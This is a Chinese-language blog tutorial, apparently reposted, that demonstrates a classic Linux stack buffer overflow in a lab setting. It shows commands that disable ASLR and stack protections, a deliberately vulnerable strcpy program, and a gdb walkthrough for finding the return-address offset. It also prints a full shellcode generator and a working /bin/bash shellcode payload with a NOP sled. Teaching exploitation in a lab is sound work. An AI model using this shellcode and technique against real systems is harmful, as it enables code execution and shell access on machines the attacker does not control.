Linux下基本栈溢出攻击

来源:互联网 发布:知天下吧 ztx8.net 编辑:程序博客网 时间:2024/05/22 05:18

转载请注明出处:http://blog.csdn.net/wangxiaolong_china

 

1.1    Linux栈溢出保护机制

基本的栈溢出攻击,是最早产生的一种缓冲区溢出攻击方法,它是所有其他缓冲区溢出攻击的基础。但是,由于这种攻击方法产生的时间比较长,故而GCC编译器、Linux操作系统提供了一些机制来阻止这种攻击方法对系统产生危害。下面首先了解一下现有的用于保护堆栈的机制以及关闭相应保护机制的方法,为进一步分析基本栈溢出提供了良好的实验环境。

1.       内存地址随机化机制

在Ubuntu和其他基于Linux内核的系统中,目前都采用内存地址随机化的机制来初始化堆栈,这将会使得猜测具体的内存地址变得十分困难。

关闭内存地址随机化机制的方法是:

sysctl –w kernel.randomize_va_space=0

2.       可执行程序的屏蔽保护机制

对于Federal系统,默认会执行可执行程序的屏蔽保护机制,该机制不允许执行存储在栈中的代码,这会使得缓冲区溢出攻击变得无效。而Ubuntu系统中默认没有采用这种机制。

关闭可执行程序的屏蔽保护机制的方法是:

sysctl –w kernel.exec-shield=0

3.       gcc编译器gs验证码机制

gcc编译器专门为防止缓冲区溢出而采取的保护措施,具体方法是gcc首先在缓冲区被写入之前在buf的结束地址之后返回地址之前放入随机的gs验证码,并在缓冲区写入操作结束时检验该值。通常缓冲区溢出会从低地址到高地址覆写内存,所以如果要覆写返回地址,则需要覆写该gs验证码。这样就可以通过比较写入前和写入后gs验证码的数据,判断是否产生溢出。

关闭gcc编译器gs验证码机制的方法是:

在gcc编译时采用-fno-stack-protector选项。

4.       ld链接器堆栈段不可执行机制

ld链接器在链接程序的时候,如果所有的.o文件的堆栈段都标记为不可执行,那么整个库的堆栈段才会被标记为不可执行;相反,即使只有一个.0文件的堆栈段被标记为可执行,那么整个库的堆栈段将被标记为可执行。检查堆栈段可执行性的方法是:

如果是检查ELF库:readelf -lW $BIN | grep GNU_STACK查看是否有E标记

如果是检查生成的.o文件:scanelf -e $BIN查看是否有X标记

ld链接器如果将堆栈段标记为不可执行,即使控制了eip产生了跳转,依然会产生段错误。

关闭ld链接器不可执行机制的方法是:

在gcc编译时采用-z execstack选项。

 

1.1   基本栈溢出攻击原理及实验

下面,将用一个栈溢出攻击的例子的方式,来详细的讲解基本的栈溢出攻击的详细方法步骤。

在进行试验之前,先利用上面讲解的方法,将相应的栈保护机制关闭掉。

root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0kernel.randomize_va_space = 0root@linux:~/pentest# sysctl -w kernel.exec-shield=0error: "kernel.exec-shield" is an unknown key

代码如下:

root@linux:~/pentest# cat vulnerable.c#include <stdio.h>#include <string.h>int main(int argc, char **argv) {char buffer[500];strcpy(buffer, argv[1]);return 0;}

编译源码:

root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c

用gdb调试该程序:

root@linux:~/pentest# gdb vulnerableGNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2Copyright (C) 2010 Free Software Foundation, Inc.License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>This is free software: you are free to change and redistribute it.There is NO WARRANTY, to the extent permitted by law.  Type "show copying"and "show warranty" for details.This GDB was configured as "i686-linux-gnu".For bug reporting instructions, please see:<http://www.gnu.org/software/gdb/bugs/>...Reading symbols from /root/pentest/vulnerable...done.(gdb) disass mainDump of assembler code for function main:   0x080483c4 <+0>:push   %ebp   0x080483c5 <+1>:mov    %esp,%ebp   0x080483c7 <+3>:and    {1}xfffffff0,%esp   0x080483ca <+6>:sub    {1}x210,%esp   0x080483d0 <+12>:mov    0xc(%ebp),%eax   0x080483d3 <+15>:add    {1}x4,%eax   0x080483d6 <+18>:mov    (%eax),%eax   0x080483d8 <+20>:mov    %eax,0x4(%esp)   0x080483dc <+24>:lea    0x1c(%esp),%eax   0x080483e0 <+28>:mov    %eax,(%esp)   0x080483e3 <+31>:call   0x80482f4 <strcpy@plt>   0x080483e8 <+36>:mov    {1}x0,%eax   0x080483ed <+41>:leave     0x080483ee <+42>:ret    End of assembler dump.(gdb)

此时在调用strcpy之前,main函数栈帧结构分析如下图所示:

根据此时的栈帧分布可知,要想控制eip的值,就必须往buffer[500]中至少填入508B的内容。

接下来我们继续用gdb调试:

(gdb) b *main+41Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.(gdb) r `perl -e 'print "\x41"x508'`Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:1111}(gdb) cContinuing.Program exited normally.(gdb)

往buffer中填入508个字符的内容,程序正常结束并退出。这说明栈并没有溢出,填入数据量太少。可是,正如上文中我们分析的那样,程序理论上栈溢出确实需要508个字符就可以了。问题出在哪里呢?重新分析代码和反汇编之后的代码,我们不难发现,问题产生的原因在于“0x080483c7 <+3>:       and    $0xfffffff0,%esp”这条语句。下面我们将继续用gdb调试,分析一下该语句如何影响我们的溢出的。

(gdb) disass mainDump of assembler code for function main:   0x080483c4 <+0>:push   %ebp   0x080483c5 <+1>:mov    %esp,%ebp   0x080483c7 <+3>:and    {1}xfffffff0,%esp   0x080483ca <+6>:sub    {1}x210,%esp   0x080483d0 <+12>:mov    0xc(%ebp),%eax   0x080483d3 <+15>:add    {1}x4,%eax   0x080483d6 <+18>:mov    (%eax),%eax   0x080483d8 <+20>:mov    %eax,0x4(%esp)   0x080483dc <+24>:lea    0x1c(%esp),%eax   0x080483e0 <+28>:mov    %eax,(%esp)   0x080483e3 <+31>:call   0x80482f4 <strcpy@plt>   0x080483e8 <+36>:mov    {1}x0,%eax   0x080483ed <+41>:leave     0x080483ee <+42>:ret    End of assembler dump.(gdb) b *main+3Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4.(gdb) b *main+6Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4.(gdb) r `perl -e 'print "\x41"x508'`Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:44int main(int argc, char **argv) {(gdb) i r espesp            0xbffff1b80xbffff1b8(gdb) cContinuing.Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:44int main(int argc, char **argv) { (gdb) i r espesp            0xbffff1b00xbffff1b0(gdb)

通过调试可以看到,在执行“0x080483c7 <+3>: and    $0xfffffff0,%esp”语句之前,esp的值是“0xbffff1b8”,在执行完该语句之后,esp的值是“0xbffff1b0”。故esp的值减少了8,也就是说,要想控制eip的值,还需要多填入8个字,即需要516个字符来填充buffer。

(gdb) r `perl -e 'print "\x41"x516'`Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb)

可以看到溢出成功!

下面我们用gdb调试,看一些溢出的过程,具体分析就不写了,相信熟悉gdb的话对这些调试信息会一目了然的:

(gdb) b *main+41Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.(gdb) r `perl -e 'print "\x41"x516'`Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:1111}(gdb) i r ebpebp            0xbffff1a80xbffff1a8(gdb) i r espesp            0xbfffef900xbfffef90(gdb) i r eipeip            0x80483ed0x80483ed <main+41>(gdb) x/550bx $esp0xbfffef90:0xac0xef0xff0xbf0xf60xf30xff0xbf0xbfffef98:0x000x000x000x000x000x000x000x000xbfffefa0:0xa4    0xf0    0xff    0xbf   0x080x000x000x000xbfffefa8:0x3c  0xd50x120x000x410x410x410x410xbfffefb0:0x410x410x410x410x410x410x410x410xbfffefb8:0x410x410x410x410x410x410x410x410xbfffefc0:0x410x410x410x410x410x410x410x410xbfffefc8:0x410x410x410x410x410x410x410x410xbfffefd0:0x410x410x410x410x410x410x410x410xbfffefd8:0x410x410x410x410x410x410x410x41………………………………………………………………………………………………0xbffff198:0x410x410x410x410x410x410x410x410xbffff1a0:0x410x410x410x410x410x410x410x410xbffff1a8:0x410x410x410x410x410x410x410x410xbffff1b0:0x000x000x000x000x540xf2(gdb) (gdb) stepi0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:1111}(gdb) i r ebpebp            0x414141410x41414141(gdb) i r espesp            0xbffff1ac0xbffff1ac(gdb) i r eipeip            0x80483ee0x80483ee <main+42>(gdb) x/10bx $esp0xbffff1ac:0x410x410x410x410x000x000x000x000xbffff1b4:0x540xf2(gdb) stepi0x41414141 in ?? ()(gdb) i r eipeip            0x414141410x41414141(gdb)

既然我们已经找到eip返回地址的位置,那么就可以覆写返回地址,控制程序的执行流程。

接下来,首先需要一段shellcode,关于如何编写shellcode的问题,我们留到下一节讲解,这一节中我们使用一个从网上找到的shellcode生成程序来生成一段shellcode。Shellcode生成程序源码为:

/*[] Shellcode Generator null byte free. [][] Author: certaindeath            [][] Site: certaindeath.netii.net (at the moment under construction) [][] This program generates a shellcode which uses the stack to store the command (and its arguments).   [][] Afterwords it executes the command with the system call "execve". [][] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end.[]*/#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <linux/types.h>#define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell commandvoid print_c(__u8*,int);void push_shc(__u8*, char*, int*);int main(int argc, char *argv[]){char cmd[255], *a;FILE *c;int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;__u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};if(argc<2){printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"       "|      Shellcode Generator      |\n"       "|        by certaindeath        |\n"       "|                               |\n"       "|  Usage: ./generator <cmd>     |\n"       " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");_exit(1);}a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));//find the command patha[0]=0;strcat(a, "whereis ");strcat(a, argv[1]);c=popen(a, "r");while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));cmd[--k]=0;if(k==0){printf("No executables found for the command \"%s\".\n", argv[1]);_exit(1);}if(strlen(cmd)>254){printf("The lenght of the command path can't be over 254 bye.\n");_exit(1);}for(i=2;i<argc;i++)if(strlen(argv[i])>254){printf("The lenght of each command argument can't be over 254 byte.\n");_exit(1);}//work out the final shellcode lenghtb=(k%2);b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);for(i=2; i<argc;i++){k=strlen(argv[i]);b=(k%2);b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);}totl+=4*(argc-2);printf("Shellcode lenght: %i\n", totl);//build the shellcodeshc=(__u8 *)malloc((totl+1)*sizeof(__u8));memcpy(shc, start, 2);if(SETRUID){memcpy(shc+shp, struid, 10);shp+=10;}if(argc>2)push_shc(shc, argv[argc-1], &shp);elsepush_shc(shc, cmd, &shp);memset(shc+(shp++), 0x89, 1);memset(shc+(shp++), 0xe6, 1);if(argc>2){for(i=argc-2;i>1;i--)push_shc(shc, argv[i], &shp);push_shc(shc, cmd, &shp);}memset(shc+(shp++), 0x50, 1);memset(shc+(shp++), 0x56, 1);if(argc>2){for(i=argc-2;i>1;i--){memset(shc+(shp++), 0x83, 1);memset(shc+(shp++), 0xee, 1);memset(shc+(shp++), strlen(argv[i])+1, 1);memset(shc+(shp++), 0x56, 1);}memset(shc+(shp++), 0x83, 1);memset(shc+(shp++), 0xee, 1);memset(shc+(shp++), strlen(cmd)+1, 1);memset(shc+(shp++), 0x56, 1);}memcpy(shc+shp, end, 16);print_c(shc,totl);return 0;}void print_c(__u8 *s,int l){int k;for(k=0;k<l;k++){printf("\\x%.2x", s[k]);if(((k+1)%8)==0) printf("\n");}printf("\n");}void push_shc(__u8 *out, char *str, int *sp){int i=strlen(str), k, b, b1, tmp=i;__u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};memcpy(out+(*sp), pushb_0, 6);*sp+=6;for(k=0;k<((i-(i%4))/4);k++){memset(out+((*sp)++), 0x68, 1);tmp-=4;memcpy(out+(*sp), str+tmp, 4);*sp+=4;}b=(i%2);b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);if(b1){memset(out+((*sp)++), 0x66, 1);memset(out+((*sp)++), 0x68, 1);tmp-=2;memcpy(out+(*sp), str+tmp, 2);*sp+=2;}if(b){memcpy(out+(*sp), pushb, 6);*sp+=6;memcpy(out+((*sp)++), str+(--tmp), 1);}}/*Here is the assembly code of a shellcode which executes the command "ls -l /dev".This is the method used by the shellcode generator..global _start_start:xorl %eax, %eax;clear eaxsubl $1, %esp; "/dev" pushed into the stack with a null byte at the endmovb %al, (%esp)push {1}x7665642fmovl %esp, %esi;esp(address of "/dev") is saved in esisubl $1, %esp;"-l" pushed into the stack with a null byte at the endmovb %al, (%esp)pushw {1}x6c2dsubl $1, %esp;"/bin/ls" pushed into the stack with a null byte at the endmovb %al, (%esp)push {1}x736c2f6epushw {1}x6962subl $1, %espmovb {1}x2f, (%esp);now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stackpush %eax;the NULL pointer pushed into the stackpush %esi;the address of "/dev" pushed into the stacksubl $3, %esi;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev"push %esi;to find the address of "-l" and then push it into the stacksubl $8, %esi;the same thing is done with the address of "/bin/ls"push %esimovb $11, %al;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0)movl %esi, %ebx;is executedmovl %esp, %ecxxor %edx, %edxint {1}x80movb $1, %al;_exit(0);xor %ebx, %ebxint {1}x80*/

使用方法是:

root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.croot@linux:~/pentest# ./shellcode_generator /bin/bashShellcode lenght: 45\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80root@linux:~/pentest#

现在,提供一种填充buffer覆写返回地址的方案(不唯一,只提供一种可行的方案):

#################################################################

“\x90” * 431  +  shellcode(45) +  shellcode地址(4字节) * 10  ==  516B

#################################################################

其中,“\x90”代表NOP空指令,故shellcode地址可以替换为自buffer起始地址和shellcode起始地址之间的任意一个地址。

到目前为止,我们已经构造出了我们的溢出代码,如下:

(gdb) run `perl -e 'print "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`The program being debugged has beenstarted already.Start it from the beginning? (y or n)yStarting program:/root/pentest/vulnerable `perl -e 'print"\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`process3724 is executing new program: /bin/bashroot@linux:/root/pentest# exitexitProgram exited normally.(gdb)

可以看到,我们的溢出代码成功的执行了shellcode,并获得了相应的shell。

到此为止,栈溢出攻击成功。

 

附:由于%gs验证码的存在,在开启%gs校验时,上面的方案只能在gdb调试环境下成功完成栈溢出。

 

原创粉丝点击